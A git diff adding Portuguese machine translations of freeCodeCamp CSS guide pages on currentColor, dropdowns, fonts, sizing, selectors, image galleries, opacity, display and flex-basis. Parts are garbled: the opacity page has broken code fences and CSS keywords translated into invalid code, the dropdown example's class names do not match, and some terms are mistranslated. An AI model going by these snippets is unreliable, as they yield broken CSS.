+A palavra-chave currentColor é suportada muito bem em navegadores. É suportado pelo IE9 +, pelo Safari 4+ e por todos os outros navegadores modernos. Confira a lista completa em [caniuse.com](https://caniuse.com/#feat=currentcolor)
+
+### Exemplo
+
+Declaramos que cada div tem uma borda de 3px de cor _currentColor_ , o que significa que a borda de cada div será colorida com o mesmo valor de sua propriedade de `color` . Confira o exemplo ao vivo [aqui](http://jsfiddle.net/tjkp0cm3/)
+
+```css
+div{ 
+  /* The currentColor keyword for the color value, which means that the border will have the value of the respective div's color property */ 
+  border: 3px solid currentColor; 
+ } 
+ 
+ /* This div will have green borders, because its color value is green. */ 
+ #div1{ 
+  color: green; 
+ } 
+ 
+ /* This div will have blue borders, because its color value is blue. */ 
+ #div2{ 
+  color: blue; 
+ } 
+```
+
+### Aplicação prática com um SVG
+
+Aqui está um exemplo muito comum na web - um botão com um ícone SVG e texto nele. A cor da borda, texto e ícones mudam ao passar o mouse sobre o botão. A imagem abaixo mostra os estados inicial e flutuante do botão em ordem.
+
+![Imagens de botão](https://image.ibb.co/hWveBR/button_variations.png)
+
+As fontes de ícone também podem ser usadas para essa finalidade, mas há várias vantagens do SVG embutido sobre as fontes de ícones, e isso pode tornar os SVGs a opção para muitos desenvolvedores. Citando [CSS-Tricks](https://css-tricks.com/icon-fonts-vs-svg/) ,
+
+> Pode ser frustrante posicionar um ícone de fonte. Os ícones são inseridos através do pseudoelemento, e isso depende `line-height` , `vertical-align` , `letter-spacing` `word-spacing` , como o glifo da fonte é projetado (ele naturalmente tem espaço ao redor? Ele tem informações de kerning?) . Em seguida, o tipo de `display` pseudo-elementos afeta se essas propriedades tiverem um efeito ou não. SVG é apenas o tamanho que é.
+
+Resumindo, às vezes pode ser frustrante usar ícones de fonte com texto.
+
+Poderíamos usar esse código para alcançar o comportamento desejado.
+
+```css
+button{ 
+  color: #016898; 
+ } 
+ 
+ .emailIcon{ 
+  fill: #016898; 
+ } 
+ 
+ button:hover { 
+  color: #19B5FE; 
+ } 
+ 
+ button:hover .emailIcon{ 
+  fill: #19B5FE; 
+ } 
+```
+
+Agora, em vez de alterar explicitamente a cor de `fill` do SVG, podemos definir o preenchimento como `currentColor` . Isso muda automaticamente a cor do SVG para o valor da propriedade `color` do botão. Agora só precisamos alterar a propriedade `color` do botão. Isso torna o código CSS mais curto e mais inteligente.
+
+```css
+.emailIcon{ 
+  fill: currentColor; 
+ } 
+ 
+ button{ 
+  color: #016898; 
+ } 
+ 
+ button:hover { 
+  color: #19B5FE; 
+ } 
+```
+
+Confira o exemplo ao vivo em https://repl.it/NNt9/2.
+
+#### Mais Informações:
+
+*   [MDN Docs na propriedade de `color` CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/color)
+*   [MDN Docs na palavra-chave currentColor](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#currentColor_example)
+*   [Artigo sobre currentColor em osvaldas.info](https://osvaldas.info/keeping-css-short-with-currentcolor)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/device-independent-pixel/index.md b/client/src/guide/portuguese/css/device-independent-pixel/index.md
new file mode 100644
index 0000000000..0b04cbc280
--- /dev/null
+++ b/client/src/guide/portuguese/css/device-independent-pixel/index.md
@@ -0,0 +1,11 @@
+---
+title: Device Independent Pixel
+localeTitle: Pixel Independente do Dispositivo
+---
+## Pixel Independente do Dispositivo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/device-independent-pixel/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/dropdowns/index.md b/client/src/guide/portuguese/css/dropdowns/index.md
new file mode 100644
index 0000000000..4a2ff46b80
--- /dev/null
+++ b/client/src/guide/portuguese/css/dropdowns/index.md
@@ -0,0 +1,141 @@
+---
+title: Dropdowns
+localeTitle: Dropdowns
+---
+## Dropdowns
+
+Dropdowns são usados ​​em CSS para ocultar uma lista predefinida em um botão.
+
+Exemplos:
+
+```html
+
+<div class="dropdown"> 
+  <button class="dropbtn">Name</button> 
+  <div class="dropdownContent"> 
+    <a href="#">One</a> 
+    <a href="#">Two</a> 
+    <a href="#">Three</a> 
+  </div> 
+ </div> 
+```
+
+Então você deve personalizar as classes em css
+
+```css
+.dropdown { 
+  position: relative; 
+  display: inline-block; 
+ } 
+ 
+ .dropbtn { 
+  background-color: red; 
+  padding: 10px; 
+ } 
+ 
+ .dropdown-content { 
+  display: none; 
+  position: absolute; 
+ } 
+ 
+ .dropdown:hover .dropdown-content { 
+  display:block; 
+ } 
+```
+
+Você precisa das classes div separadas para criar o botão e outra div para separar a lista do que o botão contém.
+
+#### Um exemplo
+
+```html
+
+<div id="container"> 
+ 
+        <div id="myNav1" class="overlay"> 
+ 
+            <div class="overlay-content" id="myNav1-content"> 
+ 
+                <div> 
+                    <a href="#" id="list1_obj1" class="list1" >Content 1</a> 
+                </div> 
+                <div> 
+                    <a href="#" id="list1_obj2" class="list1" >Content 2</a> 
+                </div> 
+ 
+            </div> 
+ 
+         </div> 
+ 
+         <div id="myNav2" class="overlay"> 
+ 
+             <a href="javascript:void(10)" class="closebtn" onclick="closeNav()">&times</a> 
+            <div class="overlay-content" id="myNav2-content"> 
+ 
+                <div> 
+                    <a href="#" id="list2_obj1" class="list2" >Content 3</a> 
+                </div> 
+                <div> 
+                   <a href="#" id="list2_obj2" class="list2" >Content 4</a> 
+                </div> 
+                <div> 
+                  <a href="#" id="list2_obj3" class="list2" >Content 5</a> 
+                </div> 
+ 
+            </div> 
+ 
+         </div> 
+ 
+ </div> 
+```
+
+```css
+#myNav1 { 
+    height: 0; 
+    width: 50%; 
+    position: fixed; 
+    z-index: 6; 
+    top: 0; 
+    left: 0; 
+    background-color: #ffff; 
+    overflow: hidden; 
+    transition: 0.3s; 
+    opacity: 0.85; 
+ } 
+ 
+ #myNav2 { 
+    height: 0; 
+    width: 50%; 
+    position: fixed; 
+    z-index: 6; 
+    bottom: 0; 
+    right: 0; 
+    background-color: #ffff; 
+    overflow: hidden; 
+    transition: 0.3s; 
+    opacity: 0.85; 
+ } 
+ 
+ .overlay-content { 
+    position: relative; 
+    width: 100%; 
+    text-align: center; 
+    margin-top: 30px; 
+ } 
+ 
+ #myNav1-content{ 
+    top: 12%; 
+    left: 5%; 
+    display: none; 
+ } 
+ 
+ #myNav2-content{ 
+    top: 12%; 
+    right: 10%; 
+    display: none; 
+ } 
+```
+
+#### Mais Informações:
+
+*   W3 School Dropdown Botão Hover: [Link para a Escola W3](https://www.w3schools.com/howto/howto_css_dropdown.asp)
+*   Dropdowns da Escola W3: [Link para a Escola W3](https://www.w3schools.com/css/css_dropdowns.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/fonts/index.md b/client/src/guide/portuguese/css/fonts/index.md
new file mode 100644
index 0000000000..6c30d21af6
--- /dev/null
+++ b/client/src/guide/portuguese/css/fonts/index.md
@@ -0,0 +1,111 @@
+---
+title: Fonts
+localeTitle: Fontes
+---
+## Fontes
+
+As propriedades da fonte CSS definem a família de fontes, o peso, o tamanho, a variante, a altura da linha e o estilo de um texto.
+
+### Família de fontes
+
+A família de fontes de um texto é definida simplesmente usando a propriedade `font-family` .
+
+Ele funciona com um sistema de _fallback_ , se o seu navegador não suporta a primeira fonte, ele tenta com o próximo e assim por diante. Se o nome da fonte for maior que uma palavra, ela deve estar entre aspas.
+
+```css
+p { 
+    font-family: "Times New Roman", Times, serif; 
+ } 
+```
+
+No exemplo acima, "Times New Roman" é o da fonte, enquanto "serif" é o . Nomes genéricos são usados ​​como fallback mecanismo para preservar o estilo se o nome da família não estiver disponível. Um nome genérico deve ser sempre o último item da lista de nomes de famílias de fontes. Genérico nomes de família são serif, sans-serif, monospace, cursiva, fantasia, system-ui.
+
+### Estilo de fonte
+
+A propriedade `font-style` pode ser usada para especificar texto em itálico.
+
+Esta propriedade tem 3 valores:
+
+*   normal - Texto mostrado normalmente
+*   itálico - Texto mostrado em _itálico_
+*   oblíqua - texto mostrado inclinado
+
+```css
+.normal { 
+    font-style: normal; 
+ } 
+ 
+ .italic { 
+    font-style: italic; 
+ } 
+ 
+ .oblique { 
+    font-style: oblique; 
+ } 
+```
+
+### Tamanho da fonte
+
+A propriedade `font-size` define o tamanho do texto.
+
+Existem diferentes tipos de valores de tamanho de fonte:
+
+*   `px` (pixels) - O tamanho padrão do texto sendo `16px`
+*   `em` - `1em` = o tamanho atual da fonte, então `1em` = `16px` (recomendado pelo W3C)
+*   `small` , `medium` , `large` - conhecido como valores de tamanho absoluto
+*   `%` - porcentagens
+
+```css
+.with-pixels { 
+    font-size: 14px; 
+ } 
+ 
+ .with-ems { 
+    font-size: 0.875em; 
+ } 
+ 
+ .with-absolute { 
+    font-size: large; 
+ } 
+ 
+ .with-percentage { 
+    font-size: 80%; 
+ } 
+```
+
+### Espessura da fonte
+
+A propriedade `font-weight` especifica o peso (ou negrito) da fonte. Aceita palavras-chave ( `bold` , `normal` , `bolder` , `bolder` `lighter` ) ou palavras-chave numéricas ( `100` , `200` , `300` , `400` etc.) `400` é o mesmo que o `normal` .
+
+```css
+p { 
+   font-weight: bold 
+ } 
+```
+
+### Resposta da fonte
+
+O tamanho do texto pode ser definido com uma unidade vw (largura da viewport). Dessa forma, o tamanho do texto seguirá o tamanho da janela do navegador.
+
+```html
+
+<h1 style="font-size:10vw">Hello World</h1> 
+```
+
+`Viewport is the browser window size. 1vw = 1% of viewport width. If the viewport is 50cm wide, 1vw is 0.5cm.`
+
+### Variante de fonte
+
+A propriedade `font-variant` especifica se um texto deve ser exibido em uma fonte small-caps (onde todas as letras minúsculas são convertidas em letras maiúsculas enquanto aparecem em um tamanho de fonte menor do que as letras maiúsculas originais no texto).
+
+```css
+p.small { 
+  font-variant: small-caps; 
+ } 
+```
+
+#### Mais Informações:
+
+*   [Escolas W3 - Fonte CSS](https://www.w3schools.com/css/css_font.asp)
+*   [MND - Fonte CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/font)
+*   [CSSFontStack](https://www.cssfontstack.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/forms/index.md b/client/src/guide/portuguese/css/forms/index.md
new file mode 100644
index 0000000000..c8854f3004
--- /dev/null
+++ b/client/src/guide/portuguese/css/forms/index.md
@@ -0,0 +1,20 @@
+---
+title: Forms
+localeTitle: Formulários
+---
+## Formulários
+
+O elemento HTML Form define um formulário usado para coletar a entrada do usuário. Exemplos:
+
+```html
+
+<form> 
+  contents 
+ </form> 
+```
+
+Um formulário HTML contém elementos de formulário.
+
+Os elementos de formulário são tipos diferentes de elementos de entrada, como campos de texto, caixas de seleção, botões de opção, botões de envio e muito mais.
+
+Dentro das tags de formulário, há também alguns atributos importantes que são: -action: a página para a qual os dados serão enviados -method: tipo de solicitação que são: 'GET' e 'POST'
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/graceful-degradation/index.md b/client/src/guide/portuguese/css/graceful-degradation/index.md
new file mode 100644
index 0000000000..916038d6e9
--- /dev/null
+++ b/client/src/guide/portuguese/css/graceful-degradation/index.md
@@ -0,0 +1,11 @@
+---
+title: Graceful Degradation
+localeTitle: Degradação Graciosa
+---
+## Degradação Graciosa
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/graceful-degradation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/height-and-width-dimensions/index.md b/client/src/guide/portuguese/css/height-and-width-dimensions/index.md
new file mode 100644
index 0000000000..7650ff71c7
--- /dev/null
+++ b/client/src/guide/portuguese/css/height-and-width-dimensions/index.md
@@ -0,0 +1,120 @@
+---
+title: Height and Width Dimensions
+localeTitle: Dimensões de altura e largura
+---
+## Dimensões de altura e largura
+
+### Definição
+
+Os programadores podem usar as propriedades height e width para alterar a altura e a largura de elementos específicos. Para que suas dimensões sejam alteradas, o valor da propriedade de `display` desses elementos deve ser definido como `block` ou `inline-block` .
+
+### Sintaxe
+
+#### Altura:
+
+*   `height: auto|length|initial|inherit;`
+*   `min-height: length|initial|inherit;`
+*   `max-height: none|length|initial|inherit;`
+
+#### Largura:
+
+*   `width: auto|value|initial|inherit;`
+*   `min-width: length|initial|inherit;`
+*   `max-width: none|length|initial|inherit;`
+
+### Uso e Exemplos
+
+Todas as propriedades mencionadas acima só podem ter **um** valor.
+
+#### Altura:
+
+A propriedade `height` define a altura exata de um elemento. O valor `auto` é o padrão e permite que o navegador defina automaticamente a altura. Isso geralmente é determinado pela quantidade de espaço vertical que o conteúdo de um elemento ocupa. O comprimento da altura pode ser definido como fixo em `px` , relativo à altura do elemento pai mais próximo usando a unidade `%` , ou relativo à altura da janela de visualização usando a unidade `vh` . O valor `initial` terá o mesmo efeito que o valor `auto` enquanto o valor `inherit` dará ao elemento a mesma altura que o elemento pai mais próximo.
+
+**Exemplo:**
+
+```html
+
+<p id="red">Example text</p> 
+```
+
+```css
+p#red { 
+    margin: 0; 
+  background-color: red; 
+  height: 50vh; 
+    line-height: 50vh; 
+    text-align:center; 
+ } 
+```
+
+**Resultado:** ![Exemplo um](https://image.prntscr.com/image/dbKSQofTThGZRD7FJLyjJQ.png) O exemplo acima usa a unidade `vh` para definir a altura. Esta unidade é usada para definir a altura de um elemento em relação à altura da janela de visualização. Nesse caso, o parágrafo vermelho recebe uma altura de metade da altura da viewport, de modo que ocupa 50% da tela. _Nota: Todas as margens padrão devem ser removidas do corpo para que o resultado apareça como deveria._
+
+A propriedade `min-height` define a altura mínima que um elemento deve ter. Essa propriedade é útil ao redimensionar verticalmente uma página, pois o programador pode impedir que um elemento diminua demais e não apareça bem. O valor padrão da `min-height` de um elemento é definido como 0. O código CSS abaixo impediria que o parágrafo com um `ID` de **exemplo** fosse reduzido para menos de 400 px de altura.
+
+**Exemplo:**
+
+```css
+p#example { 
+  min-height: 400px; 
+ } 
+```
+
+A propriedade `max-height` define a altura máxima que um elemento pode alcançar. Isso pode ser útil quando você não deseja que um elemento seja maior que um tamanho específico. Se o conteúdo do elemento tiver uma altura maior que o valor de `max-height` , o conteúdo será excedido.
+
+**Exemplo:**
+
+```css
+p { 
+  max-height: 40px; 
+  background-color: red; 
+ } 
+```
+
+**Resultado:** ![Exemplo 3](https://image.prntscr.com/image/eRdqazdUSWO2rdVfcUb5rQ.png)
+
+#### Largura:
+
+As explicações da propriedade de largura CSS são exatamente as mesmas que as propriedades de altura, exceto que alteram a largura de um elemento. Portanto, mostrarei apenas alguns exemplos do uso dessas propriedades abaixo.
+
+**Exemplo:**
+
+```css
+p { 
+  width: 150px; 
+  background-color: red; 
+ } 
+```
+
+**Resultado:** ![Exemplo 4](https://image.prntscr.com/image/x1_khU6TQsmZQznt7YU9qw.png)
+
+_Nota: O conteúdo não transborda para a direita, apenas ocupa a largura especificada e, em seguida, interrompe a próxima linha._
+
+**Exemplo:**
+
+```css
+p { 
+  min-width: 50px; 
+ } 
+```
+
+O código acima simplesmente não permitirá que um elemento de parágrafo encolha horizontalmente para menos de 50 px.
+
+**Exemplo:**
+
+```css
+p { 
+  max-width: 300px; 
+  background-color: red; 
+ } 
+```
+
+O código acima não permitirá que a largura de um elemento seja maior que 300px.
+
+Espero que este artigo tenha ajudado você a se familiarizar com as dimensões de altura e largura do CSS. Eu incluí alguns links abaixo, se você quiser ler mais sobre essas propriedades.
+
+#### Mais Informações:
+
+*   Dimensões de altura e largura CSS: https://www.w3schools.com/css/css\_dimension.asp
+*   Propriedade de altura do CSS: https://www.w3schools.com/cssref/pr _dim_ height.asp
+*   Propriedade de largura do CSS: https://css-tricks.com/almanac/properties/w/width/
+*   Comprimentos de CSS: https://developer.mozilla.org/pt-BR/docs/Web/CSS/length
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/hover-selector/index.md b/client/src/guide/portuguese/css/hover-selector/index.md
new file mode 100644
index 0000000000..8e3d56479b
--- /dev/null
+++ b/client/src/guide/portuguese/css/hover-selector/index.md
@@ -0,0 +1,40 @@
+---
+title: Hover Selector
+localeTitle: Seletor de Pausa
+---
+## Seletor de Pausa
+
+O CSS `:hover` selector é uma das muitas pseudo-classes que são usadas para estilizar elementos.
+
+O seletor: hover é usado para selecionar elementos quando você passa o mouse sobre eles.
+
+O seletor: hover pode ser usado em todos os elementos, não apenas em links.
+
+Use o: seletor de link para estilizar links para páginas não visitadas, o: seletor visitado para estilizar links para páginas visitadas e o: seletor ativo para estilizar o link ativo.
+
+Nota:: hover deve vir depois: link e: visitado (se estiverem presentes) na definição CSS, a fim de ser eficaz!
+
+Sintaxe CSS :flutuar { declarações de css; }
+
+O seletor de foco apenas aplica os estilos fornecidos na regra quando o elemento entra no estado de foco. É quando o usuário passa o mouse sobre o elemento.
+
+```css
+button { 
+  color: white; 
+  background-color: green; 
+ } 
+ 
+ button:hover { 
+  background-color: white; 
+  border: 2px solid green; 
+  color: green; 
+ } 
+```
+
+No exemplo acima, o estilo normal do botão é texto branco em um botão verde. Quando um usuário passa o mouse sobre o botão, a regra com o seletor em `:hover` ficará ativa e o estilo do botão será alterado.
+
+#### Mais Informações:
+
+[MDN `:hover` Google Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes)
+
+Você pode encontrar muito mais pseudo-classes neste artigo sobre Docs de [Pseudo-classes MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes) da Mozillia.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/id-selector/index.md b/client/src/guide/portuguese/css/id-selector/index.md
new file mode 100644
index 0000000000..ce1e63a703
--- /dev/null
+++ b/client/src/guide/portuguese/css/id-selector/index.md
@@ -0,0 +1,44 @@
+---
+title: ID Selector
+localeTitle: Seletor de ID
+---
+## Seletor de ID
+
+O seletor de ID CSS aplica estilos a um elemento html específico. O seletor de ID CSS deve corresponder ao atributo ID de um elemento HTML. Ao contrário das classes, que podem ser aplicadas a vários elementos em um site, um ID específico pode ser aplicado somente a um único elemento em um site. O ID do CSS substituirá as propriedades da Classe CSS. Para selecionar um elemento com um id específico, escreva um caractere hash (#), seguido pelo id do elemento.
+
+### Sintaxe
+
+```css
+#specified_id { /* styles */ } 
+```
+
+Você pode combinar o seletor de ID com outros tipos de seletores para estilizar um elemento muito específico.
+
+```css
+section#about:hover { color: blue; } 
+ 
+ div.classname#specified_id { color: green; } 
+```
+
+### Nota sobre IDs
+
+ID deve ser evitado ao estilizar, se possível. Como tem alta especificidade e pode ser anulada somente se você inline estilos, ou adicionar estilos em `<style>` . O peso dos seletores de classe de substituição de ID e dos seletores de tipo.
+
+Lembre-se de que o seletor de ID deve corresponder ao atributo de ID de um elemento HTML.
+
+```html
+
+<div id="specified_id"><!-- content --></div> 
+```
+
+### Especificidade
+
+Os seletores de ID têm alta especificidade, dificultando sua substituição. As classes têm uma especificidade muito menor e geralmente são a maneira preferida de estilizar elementos para evitar problemas de especificidade. [Especificidade em MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity)
+
+#### Mais Informações:
+
+[freeCodeCamp Challenge - Defina o ID de um elemento](https://www.freecodecamp.org/challenges/set-the-id-of-an-element)
+
+[Desafio freeCodeCamp - Use um atributo de ID para estilizar um elemento](https://www.freecodecamp.org/challenges/use-an-id-attribute-to-style-an-element)
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/ID_selectors)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/image-galleries/index.md b/client/src/guide/portuguese/css/image-galleries/index.md
new file mode 100644
index 0000000000..1e3a3a7659
--- /dev/null
+++ b/client/src/guide/portuguese/css/image-galleries/index.md
@@ -0,0 +1,76 @@
+---
+title: Image Galleries
+localeTitle: Galerias de imagens
+---
+## Galerias de imagens
+
+Você pode usar o CSS para criar suas próprias galerias de imagens.
+
+## Exemplo da galeria de imagens
+```
+<html> 
+ <head> 
+ <style> 
+ div.gallery { 
+    margin: 5px; 
+    border: 1px solid #ccc; 
+    float: left; 
+    width: 180px; 
+ } 
+ 
+ div.gallery:hover { 
+    border: 1px solid #777; 
+ } 
+ 
+ div.gallery img { 
+    width: 100%; 
+    height: 150px; 
+ } 
+ 
+ div.desc { 
+    padding: 15px; 
+    text-align: center; 
+ } 
+ </style> 
+ </head> 
+ <body> 
+ 
+ <div class="gallery"> 
+  <a target="_blank" href="fjords.jpg"> 
+    <img src="https://www.dropbox.com/s/mdj3pjh4jgyeieo/cat1.jpg?raw=1" alt="Image of staring cat" width="300" height="200"> 
+  </a> 
+  <div class="desc">Add a description of the image here</div> 
+ </div> 
+ 
+ <div class="gallery"> 
+  <a target="_blank" href="forest.jpg"> 
+    <img src="https://www.dropbox.com/s/i1ow97mcl6ubxhv/cat2.jpg?raw=1" alt="Image of fat cat" width="300" height="200"> 
+  </a> 
+  <div class="desc">Add a description of the image here</div> 
+ </div> 
+ 
+ <div class="gallery"> 
+  <a target="_blank" href="lights.jpg"> 
+    <img src="https://www.dropbox.com/s/h6ks8v78ncwur31/cat3.jpg?raw=1" alt="Image of frolicking cat" width="300" height="200"> 
+  </a> 
+  <div class="desc">Add a description of the image here</div> 
+ </div> 
+ 
+ <div class="gallery"> 
+  <a target="_blank" href="mountains.jpg"> 
+    <img src="https://www.dropbox.com/s/zda9llgop3j9bf7/cat4.jpg?raw=1" alt="Image of wide-eyed cat" width="300" height="200"> 
+  </a> 
+  <div class="desc">Add a description of the image here</div> 
+ </div> 
+ 
+ </body> 
+ </html> 
+```
+
+## Resultados:
+
+![Galeria de Gatos](https://www.dropbox.com/s/vke4gp96aiz6qtv/gallery.PNG?raw=1)
+
+#### Mais Informações:
+
+https://www.w3schools.com/css/css _image_ gallery.asp
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/image-opacity-and-transparency/index.md b/client/src/guide/portuguese/css/image-opacity-and-transparency/index.md
new file mode 100644
index 0000000000..748a2633e1
--- /dev/null
+++ b/client/src/guide/portuguese/css/image-opacity-and-transparency/index.md
@@ -0,0 +1,51 @@
+---
+title: Image Opacity and Transparency
+localeTitle: Opacidade e transparência da imagem
+---
+## Opacidade e transparência da imagem
+
+A propriedade de `opacity` permite tornar uma imagem transparente, diminuindo o grau de opacidade.
+
+`Opacity` leva um valor entre 0,0 e 1,0.
+
+1.0 é o valor padrão para qualquer imagem. É totalmente opaco.
+
+Exemplo
+
+```css
+img { 
+    opacity: 0.3; 
+ } 
+ ``` 
+ 
+ Include ```filter: alpha(opacity=x)``` for IE8 and earlier. The x takes a value from 0-100. 
+```
+
+css img { opacidade: 0,3; filtro: alfa (opacidade = 30); }
+```
+Here's an example of an image set to the parameters in the example above. 
+ ![image at 30% opacity](https://github.com/lvcoulter/images/blob/master/Opacity30percent.jpg?raw=true) 
+ 
+ 
+ You can pair ```opacity``` with ```:hover``` to create a dynamic mouse-over effect. 
+ 
+ Example: 
+```
+
+css img { opacidade: 0,3; filtro: alfa (opacidade = 30); } img: hover { opacidade: 1,0; filtro: alfa (opacidade = 100); }
+```
+[A codepen example to show a transparent image turning opaque on hover](https://codepen.io/lvcoulter/full/JrzxXa/) 
+ <!--I cannot figure out how to embed a Codepen. I would really like to know--> 
+ 
+ You can create the opposite effect with less code since the image is 1.0 opacity by default 
+ 
+ Example: 
+```
+
+css img: hover { opacidade: 0,3; filtro: alfa (opacidade = 30); } \`\` \` [Um exemplo codepen para mostrar transparência no mouse-over](https://codepen.io/lvcoulter/full/xXBQoR/)
+
+#### Mais Informações:
+
+\-w3schools.com [Opacity CSS / Transparência](https://www.w3schools.com/css/css_image_transparency.asp)
+
+\-MDN web docs [Opacidade](https://developer.mozilla.org/en-US/docs/Web/CSS/opacity)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/index.md b/client/src/guide/portuguese/css/index.md
new file mode 100644
index 0000000000..2d41f5e621
--- /dev/null
+++ b/client/src/guide/portuguese/css/index.md
@@ -0,0 +1,25 @@
+---
+title: Cascading Style Sheets (CSS)
+localeTitle: Folhas de Estilo em Cascata (CSS)
+---
+### Folhas de Estilo em Cascata (CSS)
+
+CSS é um acrônimo para Cascading Style Sheets. Foi inventado pela primeira vez em 1996 e agora é uma característica padrão de todos os principais navegadores da web.
+
+O CSS permite que os desenvolvedores controlem como as páginas da Web parecem "estilizando" a estrutura HTML dessa página.
+
+As especificações CSS são mantidas pelo [World Wide Web Consortium (W3C)](https://www.w3.org/) .
+
+Você pode construir algumas coisas incríveis no CSS sozinho, como este [jogo de caça](https://codepen.io/bali_balo/pen/BLJONk) - [minas](https://codepen.io/bali_balo/pen/BLJONk) puro CSS (que não usa JavaScript).
+
+![](https://cdn-images-1.medium.com/max/800/1*GFcKk9KxqHAnWa1ECcKDOQ.png)
+
+#### Leitura sugerida:
+
+Um bom começo é o currículo do FreeCodeCamp [Introduction to Basic CSS](https://learn.freecodecamp.org/responsive-web-design/basic-css) .
+
+Outra sugestão para iniciantes é o W3C's [Starting with HTML + CSS](https://www.w3.org/Style/Examples/011/firstcss) ensina como criar uma folha de estilo.
+
+O site [CSS Zen Garden](http://www.csszengarden.com/) é um ótimo exemplo de como o mesmo html pode ser estilizado para parecer totalmente único.
+
+Para uma demonstração do poder do CSS, confira [Species In Pieces](http://species-in-pieces.com/#) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/layout-horizontal-and-vertical-align/index.md b/client/src/guide/portuguese/css/layout-horizontal-and-vertical-align/index.md
new file mode 100644
index 0000000000..fd879cbe6a
--- /dev/null
+++ b/client/src/guide/portuguese/css/layout-horizontal-and-vertical-align/index.md
@@ -0,0 +1,11 @@
+---
+title: Layout Horizontal and Vertical Align
+localeTitle: Layout Horizontal e Vertical Alinhar
+---
+## Layout Horizontal e Vertical Alinhar
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/layout-horizontal-and-vertical-align/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/layout/display-property/index.md b/client/src/guide/portuguese/css/layout/display-property/index.md
new file mode 100644
index 0000000000..334c2fc327
--- /dev/null
+++ b/client/src/guide/portuguese/css/layout/display-property/index.md
@@ -0,0 +1,48 @@
+---
+title: Display Property
+localeTitle: Propriedade de exibição
+---
+## Propriedade de exibição
+
+A propriedade `display` especifica o tipo de caixa usado para um elemento HTML. Existem 20 valores de palavra-chave no total, embora apenas 10 sejam usados ​​normalmente. Os mais usados ​​são:
+
+```css
+.none           {display: none} 
+ .block          {display: block} 
+ .inline-block   {display: inline-block} 
+ .inline         {display: inline} 
+ .flex           {display: flex} 
+ .inline-flex    {display: inline-flex} 
+ .inline-table   {display: inline-table} 
+ .table          {display: table} 
+ .inherit        {display: inherit} 
+ .initial        {display: initial} 
+```
+
+**Exemplos comuns:**
+
+```css
+.myBox { 
+    display: block; 
+ } 
+ 
+ .myContainer { 
+    display: flex; 
+ } 
+ 
+ .inlineList ul > li { 
+    display: inline; 
+ } 
+```
+
+#### Mais Informações:
+
+*   Documentação e lista completa de valores de palavras-chave: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/display)
+    
+*   A referência CSS do W3Schools na propriedade de exibição está disponível: [W3Schools](https://www.w3schools.com/cssref/pr_class_display.asp)
+    
+*   CSS-TRICKS tem uma ótima referência na propriedade display: [CSS-Tricks](https://css-tricks.com/almanac/properties/d/display/)
+    
+*   Suporte ao Navegador: [caniuse](http://caniuse.com/#search=display)
+    
+*   Um guia completo para o Flexbox: [CSS-Tricks](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/layout/flexbox/flex-basis-property/index.md b/client/src/guide/portuguese/css/layout/flexbox/flex-basis-property/index.md
new file mode 100644
index 0000000000..b7be6f8ecb
--- /dev/null
+++ b/client/src/guide/portuguese/css/layout/flexbox/flex-basis-property/index.md
@@ -0,0 +1,48 @@
+---
+title: Flex Basis Property
+localeTitle: Propriedade Flex Basis
+---
+# Base Flex
+
+`flex-basis` propriedade `flex-basis` define o tamanho do `flex-item` longo do eixo principal do contêiner flexível. O eixo principal é horizontal se `flex-direction` estiver definida para `row` e será vertical se a propriedade de `flex-direction` estiver definida como `column` .
+
+## Sintaxe
+
+```css
+flex-basis: auto | content | <width> | <height>; 
+```
+
+## flex-base: auto
+
+`flex-basis: auto` procura o tamanho principal do elemento e define o tamanho. Por exemplo, em um contêiner flexível horizontal, o `auto` procurará `width` e `height` se o eixo do contêiner for vertical.
+
+Se nenhum tamanho for especificado, o `auto` voltará ao `content` .
+
+## flex-base: conteúdo
+
+`flex-basis: content` resolve o tamanho com base no conteúdo do elemento, a menos que a `width` ou `height` seja definida por meio `box-sizing` normal de `box-sizing` .
+
+Nos dois casos em que `flex-basis` é `auto` ou de `content` , se o tamanho principal for especificado, esse tamanho terá prioridade.
+
+## flex-base:
+
+Isso é apenas especificando `width` ou `height` , mas apenas mais flexível. `flex-basis: 20em;` irá definir o tamanho inicial do elemento para `20em` . Seu tamanho final será baseado no espaço disponível, `flex-grow` múltiplo e `flex-shrink` múltiplo.
+
+A especificação sugere o uso de propriedade de taquigrafia `flex` . Isso ajuda a escrever `flex-basis` juntamente com as propriedades `flex-grow` e `flex-shrink` .
+
+## Exemplos
+
+Aqui estão filas de contêineres flexíveis individuais e elementos flexíveis individuais mostrando como a `flex-basis` afeta o `box-sizing` .
+
